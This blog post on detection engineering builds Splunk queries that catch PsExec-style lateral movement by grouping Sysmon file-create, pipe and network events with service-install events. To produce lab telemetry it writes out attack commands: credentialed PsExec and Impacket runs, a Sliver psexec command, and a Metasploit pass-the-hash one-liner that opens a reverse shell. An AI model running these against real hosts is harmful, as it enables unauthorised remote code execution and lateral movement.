Procedural Detections to Uncover PsExec Style Lateral Movement

Ankith Bharadwaj
10 min readApr 24, 2023

In this post, I propose several procedural detections that can help uncover the multitude of tools and frameworks that mimic PsExec style lateral movement behavior. As we’ll be operating at the highest level of the Pyramid Of Pain, this could in-turn help detect novel or custom tools that exhibit such behavior in the future.

Default PsExec execution artefacts are well known and are easily detected. Attackers are also privy to this fact and have been known to rename PsExec or use derivative tools that mimic PsExec’s functionality. Not to mention all of the popular C2 frameworks, that integrate PsExec style modules for lateral movement.

In the following sections we’ll try to breakdown various tool behaviors into their component parts, allowing us to craft procedural/behavioral detections by time grouping discrete sequential events of interest.

Functionality Breakdown

PsExec is a popular Sysinternals utility attackers (ab)use to move laterally during post exploitation phases. It allows one to launch interactive command-prompts on remote systems, by leveraging remote service execution and named pipes over SMB.

Let’s now use an open source derivative of PsExec called PAExec, that’ll better allow us to understand the inner workings of such tools and to breakdown behaviors into their component parts. This will greatly aid in identifying the disparate log event types we’ll need, while performing detection prototyping.

1. Establish Network Connection

The first step involves establishing a network connection to the target remote host, using user supplied credentials (user needs to already be part of the remote host’s Administrator group).

bool EstablishConnection(Settings& settings, LPCTSTR lpszRemote, LPCTSTR lpszResource, bool bConnect)
{
..
//Establish connection (using username/pwd)
rc = WNetAddConnection2(&nr, settings.password.IsEmpty() ? NULL : settings.password, settings.user.IsEmpty() ? NULL : settings.user, 0);

2. Transfer Service Binary to Target

Next a Service Binary will be copied on to the target host’s hidden ADMIN$ share, over Windows SMB protocol.

bool CopyPAExecToRemote(Settings& settings, LPCWSTR targetComputer)
{
..
if((FALSE == CopyFile(myPath, dest, FALSE)) && (false == settings.bNeedToDetachFromAdmin))
{

3. Install and Start Service Binary

The previously transferred Service Binary is remotely installed/started, by connecting to the Windows Service Control Manager (SCM), via the OpenSCManager API.

bool InstallAndStartRemoteService(LPCWSTR remoteServer, Settings& settings)
{
..
SC_HANDLE hSCM = ::OpenSCManager(remoteServer, NULL, SC_MANAGER_ALL_ACCESS);
..
hService = ::CreateService(
hSCM, remoteServiceName, remoteServiceName,
SERVICE_ALL_ACCESS,
serviceType,
SERVICE_DEMAND_START, SERVICE_ERROR_NORMAL,
svcExePath,

4. Service Creates Named Pipe for I/O Redirection

The Service then creates a named pipe, which facilitates input/output redirection back to the system that initially launched PsExec.

bool SendRequest(LPCWSTR remoteServer, HANDLE& hPipe, RemMsg& msgOut, RemMsg& msgReturned, Settings& settings)
{
...
hPipe = CreateFile(
pipeName, // pipe name
GENERIC_READ | // read and write access
GENERIC_WRITE,
0, // no sharing
NULL, // default security attributes
OPEN_EXISTING, // opens existing pipe
FILE_FLAG_OVERLAPPED, //using overlapped so we can poll gbStop flag too
NULL); // no template file
...

If you are new to the concept of named pipes and would like to know more, I have extensively covered them previously, in the below two write-ups:

Sampling and Telemetry Generation

We’ll now run the below list of tools to generate telemetry, that’ll help us with detection prototyping.

Standalone Tools

  1. PsExec
> PsExec.exe -i \\192.168.1.9 -u ankith -p pass123 ipconfig

2. PAExec

>paexec.exe \\192.168.1.9 -u ankith -p pass123 ipconfig

This tool was seen being abused by China based threat actors, for lateral movement purposes:

3. Impacket psexec.py

It is interesting to note that the script uses RemCom’s service binary under the hood, which is also another PsExec derivative.

impacket-psexec ankith:pass123@192.168.1.9

4. Renamed PsExec

An adversary could rename PsExec file name, and also change it’s default Service Name. Modification of the Service Name also corresponds to a similar modification to named pipes.

> Not-PsExec.exe -r Not-PsExec -i \\192.168.1.5 -u ankith -p pass123 ipconfig

The below CISA report describes attackers renaming psexec.exe to ps.exe

Detection and Hunting

Now that we understand the behaviors at a high level, we can begin to craft Procedural Detections, by first mapping descrete behaviors to their component Sysmon log event types they generate on the target host. We will then group these sequential events, to be evaluated within a given time range.

Although there are close to a dozen different events that are created, we’ll just focus on the below three event types for our detection purposes. Here’s a great deep dive by SpectreOps, that goes over the various Sysmon events that are triggered after PsExec execution — PsExec Talks the Talk, but Can You Walk the Walk?

  1. File Create Events (Event ID 11) — Generated when a Service Binary is transferred/copied onto remote host.
  2. Pipe Connected Events (Event ID 18) — Generated when Named Pipe connection occurs for I/O redirection
  3. Windows System events (Event ID 7045) — Generated when the Service Binary is installed on the target system (Event ID 13: RegistryEvent can also be used).

Detection Logic Breakdown

What seems strange to you is only so because you do not follow my train of thought or observe the small facts upon which large inferences may depend.

— Sir Arthur Conan Doyle, The Sign of Four

Here I try to breakdown my thought process that went into creating our final detection logic:

  1. Grouping Events

Here we will leverage boolean expressions to group sequentially related events and their criteria, which will form the core piece of our detection logic.

A key criteria that’s specific to “FileCreate” and “Pipe Connected” Events in this context, is that the “Image” (Process Name) is distinctively SYSTEM — This is because they were triggered remotely by our attack host. This is key here as it filters out the noisy local file creation and pipe connection events, thereby allowing us to use the below grouping of events in our main query.

(((Image=SYSTEM) AND (EventCode=11 OR EventCode=18)) OR (EventCode=7045))

2. Bucketing by Time range

The bucketing option allows us to group events into discrete buckets of information for better analysis. Now that we know the event ID’s and the relevant criteria for our detection, we can apply a span (time range) under which the detection condition will be evaluated.

I chose a conservative time span of 5 seconds, as the sequence of events tend to occur within a few seconds of each other.

| bucket _time span=5s

3. Regex Extraction for Value Matching

To introduce higher fidelity, I chose to regex extract the Binary that was remotely copied and the Service Binary that was installed, and compare them to see if they match. If this holds true, it implies that the binary that was copied remotely was immediately installed as a Service.

By matching we also offset chances where unrelated file copy and service installment could occur at the same time i.e within the 5 second time range.

|  rex field=TargetFilename "(?P<Remotely_Copied_File>[^\\\]+)$"
| rex field=Service_File_Name "(?P<Service_Start_Binary>[^\\\]+\.exe)\b.*"
...
| where match(Remotely_Copied_File, Service_Start_Binary)

Final Detection Logic

We’ll now combine all of the above mentioned aspects and statistically aggregate them by time. We end up with a query that looks something like this:

index=main 
(sourcetype=WinEventLog:Microsoft-Windows-Sysmon/Operational
OR sourcetype=WinEventLog:System) ``` Sysmon and Windows System events```
| bucket _time span=5s
| search NOT PipeName IN ("*err*", "*in*", "*out*") ``` Ignore stdin/stdout/stderr pipe connection events```
| search (ComputerName=Ankith-PC) AND (((Image=SYSTEM)
AND (EventCode=11 OR EventCode=18)) OR (EventCode=7045))
| rex field=TargetFilename "(?P<Remotely_Copied_File>[^\\\]+)$"
| rex field=Service_File_Name "(?P<Service_Start_Binary>[^\\\]+\.exe)\b.*"
| stats count values(PipeName) as PipeName_Connected,
values(Remotely_Copied_File) as Remotely_Copied_File,
values(Service_Start_Binary) as Service_Start_Binary,
earliest(_time) as "First Seen", latest(_time) as "Last Seen"
by _time
| where match(Remotely_Copied_File, Service_Start_Binary)
| fieldformat "First Seen"=strftime('First Seen', "%c")
| fieldformat "Last Seen"=strftime('Last Seen', "%c")
| dedup Remotely_Copied_File
| table PipeName_Connected, Remotely_Copied_File, Service_Start_Binary, "First Seen", "Last Seen"
| search PipeName_Connected=*, Remotely_Copied_File=*, Service_Start_Binary=*
Redacted Screenshot of Splunk Query Results

As we can see from the above screenshot, we’re able to independently detect all three tools that we initially ran and without relying on any host/tool artifacts.

Beyond Standalone Tools — C2 Frameworks

Until now, we saw how detection methods can be applied to standalone tools. Let’s now extend this to psexec modules that are implemented on popular C2 frameworks, like Metasploit and Sliver. Frameworks also gravitate towards this technique of authenticated remote service execution, as it allows for escalating privileges of payload, as code executing as a Service is run as SYSTEM by default. Otherwise, we’d have to run separate commands like getsystem. In other words, this allows for remote code execution and privilege escalation at the same time.

Like we did above, we’ll first run these modules to generate related Sysmon telemetry:

  1. Metasploit (Pass the Hash with PsExec)

Below is a Metasploit one-liner, that integrates pass-the-hash with the psexec module, to install a service that starts a tcp reverse shell.

$ msfconsole -x 'use exploit/windows/smb/psexec; 
set payload windows/meterpreter/reverse_tcp; set LHOSTS 192.168.1.8,
set LPORT 443; set RHOSTS 192.168.1.5; set SMBUser ankith;
set SMBPass aad3b435b51404eeaad3b435b51404ee:5fbc3d5fec8206a30f4b6c473d68ae76;
set target 2; show options; exploit'

2. Sliver

Here’s a Sliver one-liner that uses a Service Binary, that’ll be installed with “sliver” as the Service Name.

> psexec --custom-exe /home/kali/LINEAR_LION.exe --service-name sliver 192.168.1.5

Crafting Detection Logic

A major difference between standalone tools like PAExec and psexec style modules found on frameworks is that they don’t need to necessarily implement named pipes for I/O redirection, as they already have TCP based reverse shells at their disposal.

This would mean the absence of Event ID 18 (Pipe Connected events) from our earlier SPL detection query. However, we can include Event ID 3 (Network Connection Events) and it’s corresponding port 445 events, into our grouping criteria and get similar results:

((Image=SYSTEM AND (EventCode=11)) OR (EventCode=7045)) OR 
(EventCode=3 AND DestinationPort=445)

Sliver happens to introduce a time delay for some reason, before actually executing the remote service. This led me to increase the time span to 15s. Although this doesn’t seem intentional, an opsec aware attacker could in theory introduce larger time delays between events to offset such time constrained procedural detections.

After applying the above conditions, our main query will look something like this:

index=main 
(sourcetype=WinEventLog:Microsoft-Windows-Sysmon/Operational
OR sourcetype=WinEventLog:System) ``` Sysmon and Windows System events```
| bucket _time span=15s
| search NOT PipeName IN ("*err*", "*in*", "*out*") ``` Ignore stdin/stdout/stderr pipe connection events```
| search (ComputerName=Ankith-PC) AND ((Image=SYSTEM AND (EventCode=11)) OR (EventCode=7045))
OR (EventCode=3 AND DestinationPort=445)
| rex field=TargetFilename "(?P<Remotely_Copied_File>[^\\\]+)$"
| rex field=Service_File_Name "(?P<Service_Start_Binary>[^\\\]+\.exe)\b.*"
| stats count
values(Remotely_Copied_File) as Remotely_Copied_File, values(DestinationPort) as SMB_Traffic
values(Service_Start_Binary) as Service_Start_Binary,
earliest(_time) as "First Seen", latest(_time) as "Last Seen"
by _time
| where match(Remotely_Copied_File, Service_Start_Binary)
| fieldformat "First Seen"=strftime('First Seen', "%c")
| fieldformat "Last Seen"=strftime('Last Seen', "%c")
| dedup Remotely_Copied_File
| table Remotely_Copied_File, Service_Start_Binary, SMB_Traffic, "First Seen", "Last Seen"
| search Remotely_Copied_File=*, Service_Start_Binary=*, SMB_Traffic=*

As we can see from the above results, we are able to detect both Metasploit and Sliver’s psexec modules.

The above and the previous queries can be repurposed as Threat Hunting queries as well, to check for previous tool instantiations that could be malicious in origin. It can also be integrated into Risk Based Alerting methodologies and frameworks.

OpSec Considerations

Let’s now see some conditions that could bypass or offset our detection logic.

Using Non-Standard Port 135

Pentera has demonstrated an implementation of PsExec based solely on port 135. They were able to replicate the SMB DCE/RPC calls, but over port 135.

This does not affect our first query, as it does not incorporate network traffic events. We should be able to easily incorporate this variation in our second query, by adding port 135 to our Boolean expression, as shown below. There isn’t any public reporting that indicates such implementations being used in the wild.

((Image=SYSTEM AND (EventCode=11)) OR (EventCode=7045)) 
OR (EventCode=3 AND (DestinationPort=445 OR DestinationPort=135))

Forgoing Service Binary

Transferring Service Binary is one of the core behavioral patterns in any PsExec style tool/module. However, due to the modular nature of C2 Frameworks, attackers have the option of using powershell payloads during Service Executions, which do not write to disk. This would not create the FileCreate event which we used in our first query for matching the Service Binary that was Installed.

As seen in the below screenshot, rather than having a .exe filename referenced under Service File Name, we’d encounter Powershell commands that will trigger an obfuscated base64 encoded payload that will operate from memory. However, this behavior in itself is suspect and should be detected upon/investigated.

Even the popular Cobalt Strike C2 implements it’s psexec module in a similar fashion.

--

--